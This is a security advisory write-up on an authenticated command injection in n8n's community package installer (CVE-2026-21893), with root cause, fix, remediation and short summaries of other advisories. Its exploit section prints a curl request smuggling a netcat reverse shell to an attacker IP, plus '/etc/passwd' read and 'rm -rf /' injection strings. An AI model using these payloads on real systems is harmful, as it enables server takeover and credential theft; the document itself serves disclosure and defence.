Feb 4, 2026·5 min read·62 visits
Authenticated admins can trigger RCE in n8n versions < 1.120.3 by injecting shell commands into the 'version' field during community package installation. Update immediately.
A critical OS Command Injection vulnerability in n8n's community package installation logic allows authenticated administrators to execute arbitrary code on the host server. The flaw arises from unsafe string concatenation of the 'version' parameter into a shell command.
n8n is the darling of the workflow automation world. It connects everything to everything—webhooks, databases, APIs—allowing you to build complex pipelines with a drag-and-drop interface. It’s powerful, it’s flexible, and as it turns out, it was a little too willing to execute whatever you threw at it.
CVE-2026-21893 isn't some complex memory corruption bug requiring a Ph.D. in heap feng shui. It’s the security equivalent of leaving your front door locked but taping the key to the window. This vulnerability lies in the community nodes feature, which allows admins to install custom packages to extend functionality.
While the vulnerability requires administrative privileges (CVSS PR:H), don't roll your eyes and scroll past. In many self-hosted n8n instances, 'admin' is the default state, or credentials are shared loosely among dev teams. Furthermore, if an attacker chains this with a lower-severity auth bypass or SSRF, they upgrade instantly from "annoying guest" to "sysadmin."
The root cause here is a tale as old as time: Unsanitized Input in Shell Commands. When you ask n8n to install a community package, it effectively turns around and tells the underlying operating system to run npm install.
Ideally, a developer uses an execFile style function where arguments are passed as an array, separating the command from the data. This prevents the shell from interpreting data as instructions.
However, in the vulnerable versions of n8n, the application took the package name and the version string provided by the user and—metaphorically speaking—mashed them together with a plus sign. The logic constructed a command string that looked something like npm install package@version.
The problem? The version parameter wasn't checked to see if it was actually a version number. It was just a string. And strings can contain semicolons, pipes, and backticks—the holy trinity of shell injection.
Let's look at the smoking gun. The vulnerability lived in packages/cli/src/modules/community-packages/community-packages.controller.ts and the corresponding service. The code blindly trusted that the version variable contained something safe like 1.0.0.
The fix, applied in commit ae0669a736cc496beeb296e115267862727ae838, is embarrassingly simple but effective. The developers imported the semver library to validate the input before doing anything else.
The Vulnerable Logic (Conceptual):
// The code implicitly did this:
const command = `npm install ${packageName}@${version}`;
child_process.exec(command, ...);The Fix:
import { valid } from 'semver';
// ... inside the controller method
if (version && !valid(version)) {
throw new BadRequestError(`Invalid version: ${version}`);
}By forcing the input to pass semver.valid(), any attempt to inject shell characters like ; or | immediately throws an error because 1.0.0; rm -rf / is definitely not a valid semantic version. This is the difference between a BadRequestError and a compromised server.
Exploiting this is trivial for anyone with access to the API. We simply need to make a request to install a package but append our malicious payload to the version string.
The Attack Vector: We target the endpoint used to install community packages. We pick a legitimate package name to satisfy the initial checks, but we poison the version.
Payload Construction:
Instead of requesting version 1.0.0, we request version: 1.0.0; cat /etc/passwd > /tmp/pwned.
curl -X POST https://n8n.target.com/rest/community-packages \
-H "Content-Type: application/json" \
-H "Cookie: n8n-auth-token=..." \
-d '{
"name": "n8n-nodes-base",
"version": "1.0.0; nc -e /bin/sh 10.0.0.1 1337"
}'What happens on the server:
npm install n8n-nodes-base@1.0.0; nc -e /bin/sh 10.0.0.1 1337; as a command separator.npm install ... (which might fail or succeed, it doesn't matter).nc -e /bin/sh ..., connecting a reverse shell back to the attacker.If the n8n instance is running in a Docker container (common), you are now root inside the container. If it's running bare metal... well, game over.
The CVSS score is 9.4 (Critical) for a reason. Yes, it requires privileges, but the impact is absolute.
1. Full System Compromise: Since n8n is often used to automate infrastructure tasks, the server running it usually sits in a privileged position within the network. It might have IAM roles attached (AWS), access to internal databases, or SSH keys stored in the environment.
2. Data Exfiltration: An attacker can dump all the workflows, credentials, and API keys stored within n8n. Remember, n8n's whole job is to store credentials for other services. Breaking into n8n is like breaking into a password manager.
3. Persistence: Once inside, an attacker can modify existing workflows to send a copy of every piece of data processed by the company to a remote server. They can turn your automation tool into an automated exfiltration engine.
The remediation is straightforward: Update. The vulnerability is patched in version 1.120.3. If you are running anything below that, you are exposed.
If you cannot update immediately for some reason (fear of breaking changes in your workflows), you must restrict network access to the n8n administrative interface. Ensure it is behind a VPN or an authenticated reverse proxy (like Authelia or Cloudflare Access) so that only trusted IPs can even attempt the exploit.
Also, consider this a wake-up call to audit the privileges of the user running your n8n process. It should never run as root. Use the official Docker images which support running as a non-root user (node).
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n-io | >= 0.187.0, < 1.120.3 | 1.120.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS v4.0 | 9.4 (Critical) |
| Attack Vector | Network (Authenticated) |
| Exploit Status | PoC Available |
| Affected Versions | 0.187.0 < 1.120.3 |
| Patch Commit | ae0669a736 |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
A local security vulnerability in the Nuxt development server (nuxt dev) allows local unprivileged users to access sensitive configuration files and source code. On Linux environments running Node.js 20+, Nuxt bound its internal vite-node IPC server to an abstract-namespace Unix socket without any peer authentication, enabling co-resident local users to connect and request module code directly.
Mozilla Bleach is an open-source HTML sanitizing library for Python. Versions up to and including 6.3.0 contain an incomplete filtering implementation in the URI validation logic ('sanitize_uri_value'). This logic fails to detect disallowed protocols, such as 'javascript:', if they contain Unicode invisible characters, whitespace characters, or characters with a code point greater than U+00A0. While standard-compliant web browsers do not directly execute invalid URI schemes containing these non-standard characters, downstream systems that normalize Unicode text by stripping invisible or non-ASCII characters can unintentionally reactivate the 'javascript:' prefix, causing Cross-Site Scripting (XSS). Additionally, this behavior violates Bleach's core sanitization contract by outputting URIs that bypass protocol allowlists configured by the caller.
An uncontrolled resource consumption vulnerability exists in the Python package Bleach when parsing text to linkify email addresses. When `parse_email=True` is enabled, the regular expression engine is forced into a quadratic-time complexity scan on specially crafted payloads lacking an '@' symbol. This causes immediate CPU exhaustion and blocks application server worker processes.
A path traversal and sandbox escape vulnerability in LangChain and LangChain-Anthropic Python packages allows unauthenticated local attackers to access files outside the restricted directory via crafted input, symbolic links, or prefix bypasses.
The PHP Secure Communications Library (phpseclib) contains a Server-Side Request Forgery (SSRF) vulnerability due to an insecure default implementation of Authority Information Access (AIA) certificate chasing. This flaw allows remote, unauthenticated attackers to coerce applications validating user-supplied X.509 certificates into generating arbitrary outbound HTTP requests to internal networks or local interfaces.
A directory traversal vulnerability exists in the Microsoft .NET System.Formats.Tar library during archive extraction. When extracting a TAR archive using the TarFile.ExtractToDirectory API, the extraction engine improperly resolves symbolic links prior to file creation, allowing local unauthorized attackers to write or overwrite arbitrary files outside the target directory. This can lead to local tampering, privilege escalation, or arbitrary code execution.